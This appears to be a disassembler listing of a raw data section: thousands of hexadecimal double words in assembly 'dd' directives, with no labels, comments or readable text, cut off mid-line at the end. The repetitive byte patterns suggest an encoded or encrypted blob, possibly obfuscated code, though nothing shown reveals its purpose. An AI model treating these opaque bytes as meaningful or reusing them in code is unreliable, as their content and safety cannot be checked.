17AA639Ah dd 98CF6384h, 86775CADh, 30992393h, 938C8D1Ch, 1D348923h dd 4C9D8C8Dh, 159B741Fh, 0DC9E249Ah, 0C2C31C9Ch, 905EC1C7h dd 6B22749Ch, 0ECF46363h, 748C8D05h, 636368D8h, 0A0C574CCh dd 0CC3F9C9Ch, 0F48C8DEDh, 8C8D05F9h, 6368B374h, 0D874CC63h dd 3F9C9CA0h, 8C9C6CA0h, 8D05C5F4h, 6886748Ch, 74CC6363h dd 9C9CA0B3h, 95AF803Fh, 5D3F48Ch, 99748C8Dh, 0CC636368h dd 9CA08674h, 0BD383F9Ch, 0DBF48C9Dh, 748C8D05h, 63636F6Ch dd 0A09974CCh, 6C3F9C9Ch, 0F48C99B5h, 8C8D05A2h, 636F4774h dd 6C74CC63h, 3F9C9CA7h, 8C95C568h, 8D05A8F4h, 6F5A748Ch dd 74CC6363h, 9C9CA747h, 95D5883Fh, 5B0F48Ch, 2D748C8Dh dd 0CC63636Fh, 9CA75A74h, 9C803F9Ch, 0BEF48C9Dh, 748C8D05h dd 63636F00h, 0A72D74CCh, 7C3F9C9Ch, 0F48C99B5h, 8C8D0584h dd 636F1B74h, 74CC63h, 3F9C9CA7h, 8C9C6CB0h, 8D0592F4h dd 6FEE748Ch, 74CC6363h, 9C9CA71Bh, 95D6A83Fh, 598F48Ch dd 0C1748C8Dh, 0CC63636Fh, 9CA7EE74h, 0FC581F9Ch, 91C6DC3Fh dd 15C95F8Ch, 0BD8C2479h, 0B5749C9Dh, 0CF9C9C5Ch, 0E963CBCAh dd 60191194h, 0CC636242h, 9C5CAB74h, 6011119Ch, 1F636242h dd 1CDC6354h, 0E99C9DA0h, 81239365h, 8C8D1D98h, 0D8892393h dd 9D8C8D1Dh, 99771F4Fh, 42B55A15h, 1D188117h, 771F8C8Dh dd 0A9001494h, 63624260h, 0BC992393h, 158C8D1Dh, 38899F5Eh dd 1F8C8D1Ch, 93CE9076h, 1EA88923h, 4C9D8C8Dh, 0CC9B741Fh dd 23939FF6h, 8D1D5899h, 9B741F8Ch, 992393CCh, 8C8D1D30h dd 1D2C999Fh, 741F8C8Dh, 9DF4CC91h, 111C9C9Ch, 62426019h dd 8963CC63h, 8C8DF084h, 631F5B15h, 0AB189363h, 939C9C9Eh dd 1C789923h, 999F8C8Dh, 8C8D1D4Ch, 0CC9F741Fh, 426C1911h dd 0F4CC6362h, 9C9C8363h, 7C9D1911h, 0CBCC6363h, 6CA88963h dd 19158C9Ch, 63624264h, 0D48963CBh, 3D8C95D6h, 8C8D1DD4h dd 0A59B741Fh, 62426419h, 77189363h, 939C9C9Dh, 1EE89923h dd 201C8C8Dh, 637C9C99h, 1993D063h, 9C9C9D4Ah, 0D1292A93h dd 9363637Ch, 7CD2012Ah, 2B936363h, 947F5D47h, 15FA4295h dd 62426A29h, 99239363h, 8C8D1DECh, 6A092B93h, 11636242h dd 0FAD18CD8h, 7C9C1915h, 2B936362h, 627C9C19h, 18229363h dd 637C9D99h, 89239363h, 8C8D1C78h, 1D00899Fh, 761F8C8Dh dd 934CA59Bh, 9C9DE518h, 1D843D9Ch, 999F8C8Dh, 8C8D1C7Ch dd 9395741Fh, 7C9C092Bh, 91176362h, 8C8D1DB8h, 1C04919Fh dd 751F8C8Dh, 93569D9Fh, 9D890822h, 0A563637Ch, 0DF19934Ch dd 939C9C9Dh, 7C9C192Bh, 89176362h, 8C8D1E84h, 15935E1Fh dd 934D9D5Dh, 9D91082Ah, 1763637Ch, 8D1D4CA9h, 915A1F8Ch dd 0E8812393h, 9D8C8D1Eh, 9D5F1542h, 282A936Fh, 637C9D81h dd 6A2B9363h, 15947A5Dh, 156F954Fh, 6A2B9342h, 6F9D5F15h dd 15FA4215h, 62426829h, 192B9363h, 63624268h, 9D991811h dd 0CC63637Ch, 7C9E1911h, 74CC6362h, 9C9C22DCh, 7C9E1111h dd 541F6362h, 0A01CDC63h, 65E99C9Dh, 23935B15h, 8D1C5099h dd 9D741F8Ch, 5EB56615h, 9E89201Ch, 0B263627Ch, 0A43DECE9h dd 938C8D1Dh, 1EB48923h, 4C9D8C8Dh, 159B741Fh, 935EB566h dd 9E891822h, 0CC63627Ch, 6CA08963h, 581F8C9Ch, 0C4641F98h dd 2393D8E9h, 8D1EB8A9h, 9D721F8Ch, 6FB56715h, 81282293h dd 63627C9Eh, 0A08963CAh, 1F8C9C6Ch, 641F9858h, 1583E9D9h dd 9CA9B762h, 938C8D1Eh, 9EA92822h, 0CA63627Ch, 6CA08963h dd 581F8C9Ch, 0D9641F98h, 0AA779EE8h, 8D0463F4h, 6C0E748Ch dd 11CC6363h, 627C9E21h, 8963CB63h, 8C9C6CB0h, 8D1D9C3Dh dd 0D4999F8Ch, 1F8C8D1Dh, 11CC9B74h, 627C9E19h, 4774CC63h dd 1F9C9C94h, 0C2C38858h, 0C95F55C7h, 17CB7915h, 0E96390D9h dd 8CE96388h, 6390E963h, 896394E9h, 8C9DB954h, 8C5EC1C3h dd 7915C99Ch, 9C08701Dh, 23939C9Ch, 8D1DEC99h, 99A7D48Ch dd 8C8D1E30h, 5CAD99E8h, 5BB377DCh, 6363F019h, 9C9C0863h dd 0F019119Ch, 0CC636363h, 0ECB48963h, 211F8C8Dh, 636363E0h dd 5B96E99Eh, 8D1E3099h, 9C9C9D8Ch, 1E303D9Ch, 5F558C8Dh dd 0CD7915C9h, 0E117CBCCh, 633F7494h, 5C956363h, 0A963B8E8h dd 8C8D1E2Ch, 63CB9DF6h, 8DC6F489h, 60D9158Ch, 1E2CA963h dd 98F68C8Dh, 0F48963CBh, 158C8DC6h, 55C364D9h, 7915C95Fh dd 0CBCACFCDh, 0F694E917h, 0F69CF69Ch, 0F69CF69Fh, 9C9CF49Ch dd 0ACF41C9Ch, 638C95AFh, 8DF08489h, 935B158Ch, 1D549923h dd 23938C8Dh, 8D1C7089h, 8CD8118Ch, 0E95BA564h, 1EC43D80h dd 999F8C8Dh, 8C8D1C68h, 179F741Fh, 8D1EEC89h, 99761F8Ch dd 779A8814h, 3D9CF6E8h, 8C8D1E80h, 1C4C999Fh, 741F8C8Dh dd 0E963CC98h, 8963CB90h, 8C8DECACh, 50992393h, 938C8D1Ch dd 1C3C8923h, 4C9D8C8Dh, 0CC90741Fh, 0CC60D911h, 0A0992393h dd 1F8C8D1Eh, 0CACC8D5Ch, 0A88963CBh, 158C9C6Ch, 8963CB5Fh dd 8C95D6D4h, 14992393h, 9F8C8D1Dh, 8D1D6099h, 99741F8Ch dd 8DE95FA5h, 8D1D3C3Dh, 6089178Ch, 1F8C8D1Ch, 88149E76h dd 0C7C2C39Ah, 0CBCA5F55h, 90B8E817h, 0E43D6B15h, 1F8C8D1Dh dd 2393985Ch, 8D1D3489h, 0A54C9D8Ch, 3DA6E15Bh, 8C8D1E84h dd 1C38999Fh, 741F8C8Dh, 64339399h, 8992393h, 938C8D1Ch dd 1E908923h, 0D8118C8Dh, 89179D8Ch, 8C8D1EF0h, 159B761Fh dd 934D9D6Dh, 5BB55D33h, 9C9DDF75h, 483DD39Ch, 1F8C8D1Ch dd 999F985Ch, 8C8D1D48h, 0B1E15BA5h, 8D1C203Dh, 9E5C1F8Ch dd 1C54999Fh, 33938C8Dh, 0B55B155Bh, 0E089176Ch, 1F8C8D1Dh dd 899F9B5Eh, 8C8D1DC4h, 4BB55B15h, 9C9D9F75h, 2393D39Ch dd 8D1EE899h, 0BD5C1F8Ch dd 86E15BA5h, 8D1C4C3Dh, 3393D48Ch, 3D5B155Bh, 8C8D1D5Ch dd 0B5DE5C1Fh, 9C46755Bh, 93D39C9Ch, 1EFC9923h, 5C1F8C8Dh dd 0E15BA587h, 1D3C3DBAh, 999F8C8Dh, 8C8D1DB8h, 939B741Fh dd 0E03D6433h, 1F8C8D1Dh, 999FA65Ch, 8C8D1ED8h, 39755BB5h dd 0D39C9C9Ch, 8D1DE43Dh, 0B85C1F8Ch, 0DC892393h, 9D8C8D1Dh dd 0E15BA54Ch, 992393B6h, 8C8D1E88h, 0F4892393h, 9D8C8D1Eh dd 98741F4Ch, 155B3393h, 1C203D5Bh, 5C1F8C8Dh, 0B8999FD7h dd 0B58C8D1Dh, 0D3F9775Bh, 8D1DE83Dh, 0AE5C1F8Ch, 0C0892393h dd 9D8C8D1Dh, 0E15BA54Ch, 1D2C3D8Bh, 741F8C8Dh, 64339399h dd 8D1EF83Dh, 0FB5C1F8Ch, 0A4775BB5h, 1DF03DD3h, 5C1F8C8Dh dd 0E15BA5ACh, 1EAC3D83h, 999F8C8Dh, 8C8D1EF0h, 9397741Fh dd 23936433h, 8D1D2099h, 0F75C1F8Ch, 90775BB5h, 6C992393h dd 1F8C8D1Ch, 5BB5AA5Ch, 0C2C36415h, 7915C95Fh, 9E80701Dh dd 0CACF9C9Ch, 6C1911CBh, 0CC636361h, 9DBC3CF4h, 0B89F748Ch dd 581F9C9Ch, 64191594h, 17636361h, 8D1D6891h, 99751F8Ch dd 9BE954A5h, 1E755CADh, 3D9C9C9Dh, 8C8D1D88h, 1DC8999Fh dd 741F8C8Dh, 60191599h, 17636361h, 63616019h, 64091763h dd 11636361h, 541F9E90h, 0A01CDC63h, 65E99C9Dh, 61681915h dd 211D6363h, 63636168h, 9C9C9C63h, 191780EFh, 63636160h dd 9F9D5C1Fh, 63616419h, 1911CC63h, 6363639Dh, 252274CCh dd 23939C9Ch, 8D1C6C99h, 9F5A158Ch, 8D1D10A9h, 9F721F8Ch dd 201CB977h, 63639DA9h, 94E9B463h, 9DA9185Ah, 0B7636363h dd 9DA9201Ch, 0B5636363h, 185A94E9h, 63639DA9h, 11DAA163h dd 63639D11h, 63541F63h, 9DA01CDCh, 0A565E99Ch, 0F45BEE5Ah dd 9C9C9C63h, 629E1911h, 11CC6363h, 63639D19h, 0C274CC63h dd 1F9C9CFBh, 5F159058h, 1E98A117h, 731F8C8Dh, 93B2779Fh dd 9EA11822h, 15636362h, 63617419h, 6B641563h, 7819157Bh dd 17636361h, 63617419h, 78091763h, 0B5636361h, 0A118144Ch dd 6363629Eh, 0EE43A5DBh, 1C4C3D52h, 741F8C8Dh, 0E963CC9Fh dd 9E191194h, 0CC636362h, 9CFC1674h, 90581F9Ch, 61701915h dd 683D6363h, 998C8D1Dh, 9C9C6366h, 617019A5h, 8DE86363h dd 61642963h, 89636363h, 8C9DB950h, 77DC5CADh, 681917A0h dd 9D636361h, 63616019h, 99239363h, 8C8D1EF4h, 9D9E5C1Fh dd 63616019h, 6C191763h, 0A5636361h, 63616019h, 3C1E9363h dd 63636362h, 63616429h, 50896363h, 0AD8C9DB9h, 0C7C2C35Ch dd 15C95F55h, 8E902479h, 0F9749C9Ch, 0CF9C9C24h, 6CF4CBCAh dd 748C8D08h, 636377ECh, 9D2111CCh, 0CB63636Ch, 0C6B48963h dd 581F8C91h, 1C343D90h, 23938C8Dh, 8D1DC089h, 9D5A158Ch dd 97721F4Ah, 201C8677h, 636C9DA9h, 93E9BF63h, 8D1DE43Dh dd 9F741F8Ch, 9DA91814h, 0DA63636Ch, 9363621Dh, 42EE9C9Ch dd 8D1EF83Dh, 9F5F158Ch, 8D1D7881h, 94771F8Ch, 0B4992393h dd 1F8C8D1Eh, 19159A74h, 63637360h, 8D1C243Dh, 8923938Ch dd 8C8D1E8Ch, 741F4C9Dh, 94D9A597h, 0D917FDE9h, 6019A590h dd 0E9636373h, 8118118Bh, 63636C9Dh, 0C6ECF4CCh, 41748C8Dh dd 759C9C2Bh, 9C9C9E03h, 9D811011h, 1F63636Ch, 1CDC6354h dd 0E99C9DA0h, 635F9D65h, 63736019h, 9D5F1F63h, 8D1ED43Dh dd 8923938Ch, 8C8D1EA0h, 741F4C9Dh, 822939Bh, 636C9D81h dd 934CA563h, 9C9EFE18h, 3D03779Ch, 8C8D1C40h, 1C68999Fh dd 741F8C8Dh, 60191595h, 3D636373h, 8C8D1C38h, 0C0892393h dd 9D8C8D1Dh, 90741F4Ch, 9394C917h, 1E909123h, 919F8C8Dh dd 8C8D1D5Ch, 3D9E9014h, 8C8D1E24h, 73641915h, 81176363h dd 8C8D1EC4h, 879F4D7h, 0A1748C8Dh, 0CC636376h, 72692111h dd 74CB6363h, 9C9C2BA4h, 9D811811h, 0CC63636Ch, 72691911h dd 63CC6363h, 9C6CB089h, 90581F8Ch, 0EDCC8963h, 88258C8Dh dd 59C9C9Ch, 915656Bh, 63637368h, 0B0992393h, 1F8C8D1Dh dd 5EA59F74h, 9C401F93h, 29639C9Ch, 63637364h, 716A1911h dd 74CC6363h, 9C9CE054h, 8D1D5C3Dh, 0C0999F8Ch, 1F8C8D1Eh dd 11CC9874h, 63726919h, 0E963CC63h, 0C2C97494h, 581F9C9Ch dd 7CA11788h, 1D8C8D1Ch, 9C63625Bh, 0E964A59Ch, 691911BBh dd 0CC636372h, 6394E963h, 9C6CB089h, 87CF48Ch, 9748C8Dh dd 0CC636375h, 6394E963h, 9C6CB089h, 88581F8Ch, 8D1DD43Dh dd 88999F8Ch, 1F8C8D1Dh, 11CC9474h, 63716A19h, 0E963CC63h dd 0C1617494h, 581F9C9Ch, 0A11790h, 1D8C8D1Dh, 9C63645Bh dd 0E95BA59Ch, 849F4A7h, 0D1748C8Dh, 0CC636375h, 6394E963h dd 9C6CB089h, 6A19118Ch, 0CC636371h, 6394E963h, 9C6CB089h dd 84CF48Ch, 0B5748C8Dh, 0CC636375h, 6394E963h, 9C6CB089h dd 0BC581F8Ch, 73641963h, 29636363h, 63637360h, 6366BD74h dd 1915C563h, 63637368h, 8D1DD43Dh, 8923938Ch, 8C8D1DDCh dd 741F4C9Dh, 6819A596h, 0EF636373h, 992393FFh, 8C8D1D58h dd 0C0892393h, 9D8C8D1Dh, 95741F4Ch, 691911CCh, 0CC636372h dd 7494E963h, 9C9CC1C7h, 1790581Fh, 8D1DFCA1h, 655B1D8Ch dd 9F9C9C63h, 8D1EC4A1h, 0E95BA58Ch, 691911BBh, 0CC636372h dd 6394E963h, 9C6CB089h, 857F48Ch, 9748C8Dh, 0CC636374h dd 6394E963h, 9C6CB089h, 88581F8Ch, 9D811011h, 1F63636Ch dd 1CDC6354h, 0E99C9DA0h, 1F5F9D65h, 19639D5Fh, 63637360h dd 81182293h, 63636C9Dh, 1C248917h, 761F8C8Dh, 934CA594h dd 63629019h, 64191763h, 3F636373h, 8C8D1E24h, 8D085AF4h dd 74A2748Ch, 63CC6363h, 896394E9h, 8C9C6CB0h, 0C390581Fh dd 5F55C7C2h, 0CD7915C9h, 0CBCACFCCh, 1EF8A917h, 721F8C8Dh dd 60D9119Fh, 688F4CCh, 0D9178C8Dh, 8417CC94h, 9C818863h dd 159C9C9Ch, 1DAC3D5Bh, 999F8C8Dh, 8C8D1C40h, 0A596741Fh dd 0AD98E85Bh, 11C6775Ch, 63CC64D9h, 0D9178CE9h, 8417CC60h dd 158CCF63h, 1D943D5Bh, 741F8C8Dh, 0E964A59Eh, 88E963ADh dd 1790E963h, 17CC64D9h, 88CF6384h, 23935B15h, 8D1D5499h dd 9B741F8Ch, 95E95BA5h, 1C00A917h, 721F8C8Dh, 64D9179Ah dd 638417CCh, 0D91794CFh, 8417CC60h, 1594CF63h, 0C7C2C36Ch dd 15C95F55h, 0D8701D79h, 0CF9C9C9Fh, 0E963CBCAh, 0B8896390h dd 0C58C91C6h, 1194E963h, 63607619h, 0ED74CC63h, 119C9C28h dd 63607611h, 63541F63h, 9DA01CDCh, 1765E99Ch, 8D1ED489h dd 9F761F8Ch, 4FB55F15h, 1C548917h, 8148C8Dh, 63607681h dd 99239363h, 8C8D1D8Ch, 0A19F5B15h, 8C8D1D28h, 939E731Fh dd 1D209923h, 19158C8Dh, 6363607Ch, 899F5E15h, 8C8D1C04h dd 159A761Fh, 63604409h, 15641563h, 63604019h, 34911763h dd 9F8C8D1Ch, 8D1D0091h, 91751F8Ch, 19157D6Bh, 63636048h dd 60441917h, 9176363h, 63636048h, 89174C9Dh, 8C8D1EB0h dd 607C1117h, 569D6363h, 149A761Fh, 61729908h, 64156363h dd 1ED89117h, 751F8C8Dh, 157D6B99h, 63604C19h, 18229363h dd 636076A1h, 4C091763h, 14636360h, 61728918h, 22936363h dd 6076A118h, 89176363h, 8C8D1DA0h, 1DE0899Fh, 761F8C8Dh dd 934CA592h, 9C9C0F19h, 1C643D9Ch, 19158C8Dh, 63636050h dd 54892393h, 1F8C8D1Dh, 9159876h, 63636058h, 19156415h dd 63636054h, 1DB49117h, 751F8C8Dh, 157D6B99h, 63605C19h dd 58191763h, 17636360h dd 63605C09h, 174C9D63h, 63605009h, 9D4D1563h, 94761F4Eh dd 72990814h, 15636361h, 0F8911764h, 1F8C8D1Dh, 7D6B9E5Dh dd 60201915h, 903D6363h, 1F8C8D1Dh, 9179B74h, 63636020h dd 843D5E9Dh, 938C8D1Eh, 1C3C9123h, 549D8C8Dh, 1494741Fh dd 61728918h, 9A776363h, 622175DBh, 683D6363h, 9F8C8D1Dh dd 8D1D6499h, 90741F8Ch, 1E0899A5h, 0F0E88C8Dh, 61721911h dd 3DCC6363h, 8C8D1D64h, 1DF0999Fh, 741F8C8Dh, 8963CC8Ch dd 8C9DB928h, 0D43D5A15h, 938C8D1Eh, 1DEC8923h, 4C9D8C8Dh dd 0A599741Fh, 93A5E85Ah, 1EFC9923h, 741F8C8Dh, 499A595h dd 0E88C8D1Eh, 1D103DD4h, 6BDC8C8Dh, 1911CC44h, 63636172h dd 992393CCh, 8C8D1E88h, 1D84999Fh, 741F8C8Dh, 8963CC90h dd 8C9C6CB8h, 0B958A963h, 0A9638C9Dh, 8C95C69Ch, 60761911h dd 74CC6363h, 9C9CA1DDh, 1590581Fh, 63607819h, 0C7C2C363h dd 15C95F55h, 9CA42479h, 81749C9Fh, 0CF9C9C2Eh, 1911CBCAh dd 63616374h, 1EEC3DCCh, 741F8C8Dh, 0D911CC99h, 0D911CC80h dd 2393CC90h, 8D1EA099h, 9F741F8Ch, 94D917CCh, 638417CCh dd 5B15C8CFh, 8D1C0C3Dh, 64A5D48Ch, 9F2E1993h, 23939C9Ch dd 8D1C5099h, 24999F8Ch, 1F8C8D1Dh, 11CC9074h, 61634019h dd 3DCC63h, 9F8C8D1Ch, 8D1D9099h, 93741F8Ch, 741917CCh dd 0CC636163h, 0CF638417h, 3D5B1590h, 8C8D1C5Ch, 20892393h dd 9D8C8D1Dh, 9A741F4Ch, 19935BA5h, 9C9C9FD3h, 1DF0A917h dd 721F8C8Dh, 9E191195h, 0CC63629Ch, 63402963h, 0B8746361h dd 1F9C9C0Ch, 391F9458h, 63616370h, 1D7C3D9Ch, 741F8C8Dh dd 44191595h, 5B636163h, 61636C19h, 9C9C8C63h, 1D883D9Ch dd 741F8C8Dh, 6019159Eh, 3D636163h, 8C8D1C28h, 1598741Fh dd 61636419h, 68195B63h, 9E636163h, 3D9C9C9Ch, 8C8D1C74h dd 1E80999Fh, 741F8C8Dh, 1911CC9Bh, 6361636Ch, 701911CCh dd 0CC636163h, 63441911h, 63CC6361h, 61634029h, 80D91163h dd 90D911CCh, 992393CCh, 8C8D1C70h, 94D917CCh, 638417CCh dd 5B15D8CFh, 8D1DB43Dh, 9B741F8Ch, 199364A5h, 9C9C9DA6h dd 8D1DCC3Dh, 8923938Ch, 8C8D1EE8h, 4A9D5A15h, 9398721Fh dd 1D309923h, 23938C8Dh, 8D1C7089h, 1C4C9D8Ch, 63609920h dd 0E9D86361h, 1D403DADh, 201C8C8Dh, 61636199h, 0BEE9D563h dd 8C992393h, 1C8C8D1Eh, 9C9E9920h, 0E9CC6362h, 9923938Dh dd 8C8D1D20h, 6299201Ch, 0CC636163h, 4B7599E8h, 179C9C9Ch dd 61634419h, 4C191563h, 17636163h, 61637019h, 48191563h dd 11636163h, 61637C19h, 2393CC63h, 8D1E8899h, 5C89178Ch dd 9D8C8D1Ch, 98761F5Eh, 892393CEh, 8C8D1DDCh, 4C155E9Dh dd 0CC94741Fh, 50992393h, 1F8C8D1Dh, 3DCC9A74h, 8C8D1DF8h dd 44892393h, 9D8C8D1Ch, 95741F4Ch, 992393CCh, 8C8D1D70h dd 0CC9F741Fh, 634C1911h, 63CC6361h, 9C6CB489h, 5019158Ch dd 17636163h, 8D1EEC91h, 0AC919F8Ch, 1F8C8D1Dh, 5DA59475h dd 0D03D89E9h, 938C8D1Dh, 1EDC8923h, 5A158C8Dh, 721F4A9Dh dd 17AF779Bh, 8D1DF8A9h, 9E5A1F8Ch, 63551911h, 63CC6360h dd 61637829h, 12F97463h, 581F9C9Ch, 78211F94h, 9C636163h dd 296390E8h, 63616378h, 0B9508963h, 23938C9Dh, 8D1EFC99h dd 99185A8Ch, 63626365h, 1D6C3DE0h, 23938C8Dh, 8D1DBC89h dd 9F761F8Ch, 66990814h, 93636263h, 1EA89923h, 185A8C8Dh dd 62636199h, 0E963CC63h, 9D1911B0h, 0CC63639Ch, 6CB08963h dd 5DF48C9Ch, 748C8D08h, 63637EF4h, 9D0111CCh, 0CF63639Ch dd 6CB08963h, 38F48C9Ch, 748C8D08h, 63637ECCh, 0FC812393h dd 158C8D1Eh, 15469D46h, 8D771F4Fh, 0E963CCCFh, 0CA5574B0h dd 581F9C9Ch, 408917B8h, 1D8C8D1Ch, 9C63645Eh, 54899F9Ch dd 0A58C8D1Ch, 1184E84Ch, 629C9E19h, 1911CC63h, 63639C9Dh dd 343074CCh, 581F9C9Ch, 11B37794h, 629C9E19h, 1911CC63h dd 63639C9Dh, 0B08963CCh, 0F48C9C6Ch, 8C8D0803h, 637D7B74h dd 111CC63h, 63639C9Dh, 0B08963CFh, 1F8C9C6Ch, 0A9A58858h dd 8C8D1C0Ch, 191792E9h, 63616370h, 63541915h, 90776361h dd 63551911h, 19156360h, 63616354h, 63542963h, 19116361h dd 63639C9Dh, 0B08963CCh, 0F48C9C6Ch, 8C8D085Dh, 637D0B74h dd 111CC63h, 63639C9Dh, 0B08963CFh, 1F8C9C6Ch, 843D8858h dd 0D48C8D1Eh, 637019A5h, 90E86361h, 63702963h, 89636361h dd 8C99AD70h, 9C9D1911h, 63CC6363h, 99AD7C89h, 0FF75C58Ch dd 1F636360h, 61637421h, 90E89C63h, 63741917h, 17CC6361h dd 94CF6384h, 55C7C2C3h, 7915C95Fh, 0CFB4701Fh, 0DF22CBCAh dd 779C9C9Ch, 81239384h, 8C8D1C30h, 1D88819Fh, 771F8C8Dh dd 29801595h, 8C8DF0BCh, 0C6621FDAh, 0DF237FEAh, 759C9C9Ch dd 9C9C9D1Ah, 8D080BF4h, 7C62748Ch, 0CCCB6363h, 0CF6EC111h dd 0C6B48963h, 483D8C91h, 9F8C8D1Dh, 8D1C5899h, 8E741F8Ch dd 0B88963CCh, 1F8C91C6h, 80178858h, 8DF0BC21h, 5481A58Ch dd 0E88C8D1Ch, 992393CCh, 8C8D1C70h, 1DAC999Fh, 741F8C8Dh dd 70D9159Fh, 0CC70D911h, 0BC21A863h, 638C8DF0h, 8DC6D089h dd 70E11D8Ch, 9C9C9D9Fh, 0A863BFE8h, 8DF0BC21h, 0D489638Ch dd 178C95D6h, 8D1E9881h, 0AC819F8Ch, 1F8C8D1Eh, 80159477h dd 8DF0BC21h, 6ED9118Ch, 0F88963CCh, 158C8DC6h, 641F60D9h dd 1FDEE898h, 0A1E89F64h, 0E89E641Fh, 812393A4h, 8C8D1D50h dd 1C54819Fh, 771F8C8Dh, 2180A59Ah, 8C8DF0BCh, 9C231893h dd 81179C9Ch, 8C8D1D18h, 1D7C819Fh, 771F8C8Dh, 2180158Dh dd 8C9DB97Ch, 9C9C3875h, 639DF69Ch, 9D935C89h, 40D9118Ch dd 74D911CCh, 78D911CCh, 7CD911CCh, 6ED911CCh, 148963CCh dd 938C9DBCh, 1DF48123h, 771F8C8Dh, 0E95FA598h, 21A01F80h dd 8C8DF0BCh, 17F6E89Ch, 8D1DB881h, 95771F8Ch, 7C218015h dd 778C9DB9h, 0EC8117C4h, 1F8C8D1Eh, 80A59977h, 8DF0BC21h dd 15DAE98Ch, 0B97C21A0h, 0D9118C9Dh, 2393CC44h, 8D1D5899h dd 999F8Ch, 1F8C8D1Ch, 11CC9274h, 0B97C2180h, 0F4CF8C9Dh dd 8C9C001Fh, 1C608117h, 771F8C8Dh, 0A963CF9Eh, 8C8D1D10h dd 0ECBC8963h, 98158C8Dh, 8DF0BC21h, 631FDB8Ch, 0ED1A93C6h dd 3D636362h, 8C8D1C00h, 0CC9B741Fh, 0C6B88963h, 75C58C91h dd 636362CEh, 55C7C2C3h, 0C99C985Eh, 701D7915h, 9C9C9FB8h dd 1FCBCACFh, 939C90E1h, 9C8D5518h, 94D9179Ch, 1DF88917h dd 0A01C8C8Dh, 8FE8A88Ch, 1D0C8917h, 761F8C8Dh, 8CA01C9Ah dd 3B1993A9h, 179C9C8Dh, 5D1594D9h, 0DC63541Fh, 9C9DA01Ch dd 191565E9h, 63636244h, 1EA48917h, 5E1F8C8Dh, 7C899F9Dh dd 0A58C8D1Dh, 178DE84Ch, 8D1C5C89h, 935E1F8Ch, 19934CA5h dd 9C9C8DF2h, 1C048117h, 771F8C8Dh, 2482779Eh, 9C9C9CACh dd 19157F6Bh, 6363613Ch, 0CC999817h, 0A58C95AAh, 189390D9h dd 9C9C8DDAh, 992393DFh, 8C8D1EA0h, 70892393h, 118C8D1Dh dd 0A5C28CD8h, 3D50EE5Fh, 8C8D1EC0h, 9F925C1Fh, 8D1D1099h dd 4419A78Ch, 93636362h, 9C9EB919h, 94D9179Ch, 1C588917h dd 899F8C8Dh, 8C8D1D68h, 1C99761Fh, 0E8B18CA0h, 89239387h dd 8C8D1D80h, 1C689117h, 0C8118C8Dh, 0A01C9B96h, 1993BC8Ch dd 9C9C8C7Eh, 9394D917h, 1DEC8923h, 23938C8Dh, 8D1EC891h dd 1F569D8Ch, 0A01C9976h dd 8EE8B18Ch, 90892393h, 1C8C8D1Eh, 0BC989EE0h, 8C281993h dd 0D9179C9Ch, 0A0891794h, 938C8D1Dh, 1C449123h, 569D8C8Dh dd 1C98761Fh, 0E8BC8CA0h, 64891785h, 1F8C8D1Ch, 899F9F5Eh dd 8C8D1D24h, 0B18CA01Ch, 8C1C1993h, 0B43D9C9Ch, 1F8C8D1Dh dd 2393985Ch, 8D1C7089h, 174C9D8Ch, 0CE1694C9h, 99081491h dd 6363639Dh, 8D1EEC3Dh, 9D5E158Ch, 94D9175Eh, 149DDC16h dd 62648918h, 443D6363h, 9F8C8D1Dh, 8D1ED899h, 94C9178Ch dd 1494CE16h, 62669908h, 103D6363h, 178C8D1Dh, 8E1694C9h dd 9D990814h, 3D636363h, 8C8D1DE8h, 1C40999Fh, 0C9178C8Dh dd 9ACE1694h, 62990814h, 3D636362h, 8C8D1D94h, 1694C917h dd 81496CEh, 63639B99h, 1D883D63h, 0C9178C8Dh, 9BCE1694h dd 99990814h, 93636363h, 1D549923h, 999F8C8Dh, 8C8D1DA8h dd 1694C917h, 8148ECEh, 63639D99h, 1C583D63h, 0C9178C8Dh dd 8CCE1694h, 99990814h, 93636363h, 1DDC9923h, 0C9178C8Dh dd 9ECE1694h, 62990814h, 3D636362h, 8C8D1C34h, 20892393h dd 9D8C8D1Dh, 94C9174Ch, 1490CE16h, 62629908h, 803D6363h dd 178C8D1Eh, 0CE1694C9h, 99081497h, 63636396h, 0A0992393h dd 178C8D1Eh, 0CE1694C9h, 9908148Dh, 63636390h, 8D1D843Dh dd 8923938Ch, 8C8D1DC0h, 0C9174C9Dh, 99CE1694h, 65990814h dd 3D636362h, 8C8D1DFCh, 93985C1Fh, 1D088923h, 4C9D8C8Dh dd 0B8892393h, 1F8C8D1Eh, 8149E76h, 63639D99h, 1E943D63h dd 999F8C8Dh, 8C8D1D04h, 1694C917h, 8149FCEh, 63626399h dd 99239363h, 8C8D1DECh, 0D8892393h, 118C8D1Dh, 17968CD8h dd 0CE1694C9h, 99081493h, 6363639Dh, 0E9639377h, 9D191194h dd 0CC636363h, 9C35FB74h, 1EAC3D9Ch, 5A158C8Dh, 1E80A99Fh dd 721F8C8Dh, 16897799h, 639DA918h, 0A5A06363h, 0ACA098E3h dd 277599E1h, 0DA9C9C92h, 3C992393h, 9F8C8D1Ch, 8D1DF099h dd 0EE5AA58Ch, 1EF03D46h, 741F8C8Dh, 64191594h, 17636362h dd 8D1D84A9h, 95721F8Ch, 0F83DA277h, 0D48C8D1Eh, 0A9082293h dd 6363639Dh, 93AC761Fh, 199D5E33h, 63636264h, 9DA9201Ch dd 0A8636363h, 0CC3D92E2h, 1F8C8D1Dh, 19B5995Ch, 63636264h dd 30992393h, 1F8C8D1Ch, 5A9D9974h, 8D1DA03Dh, 985C1F8Ch dd 0A0892393h, 9D8C8D1Eh, 0EE5AA54Ch, 1D6C3D31h, 5F158C8Dh dd 1D68819Fh, 771F8C8Dh, 93857791h, 9D811822h, 1F636363h dd 199DAC74h, 63636264h, 8D1C5C3Dh, 5F9DDC8Ch, 0C8992393h dd 178C8D1Eh, 8D1C5C89h, 8CD8118Ch, 0EE5FA59Bh, 6419174Eh dd 25636362h, 9C9C9C96h, 6D6B4EADh, 1C00A117h, 0A19F8C8Dh dd 8C8D1EB0h, 0A594731Fh, 4B199366h, 119C9C91h, 63639D19h dd 8963CC63h, 8C8DC7E8h, 0A4A117C5h, 9F8C8D1Eh, 8D1EECA1h dd 92731F8Ch, 199364A5h, 9C9C912Eh, 0DC992393h, 938C8D1Dh dd 1D148923h, 5A158C8Dh, 721F4A9Dh, 99239396h, 8C8D1C78h dd 0EC892393h, 158C8D1Dh, 0D24A9D5Ah, 0AC24B977h, 6B9C9C9Ch dd 19157Ah, 3D636361h, 8C8D1D90h, 1795741Fh, 63610009h dd 8998A563h, 8C95AACCh, 93DA8BE8h, 1DF49923h, 23938C8Dh dd 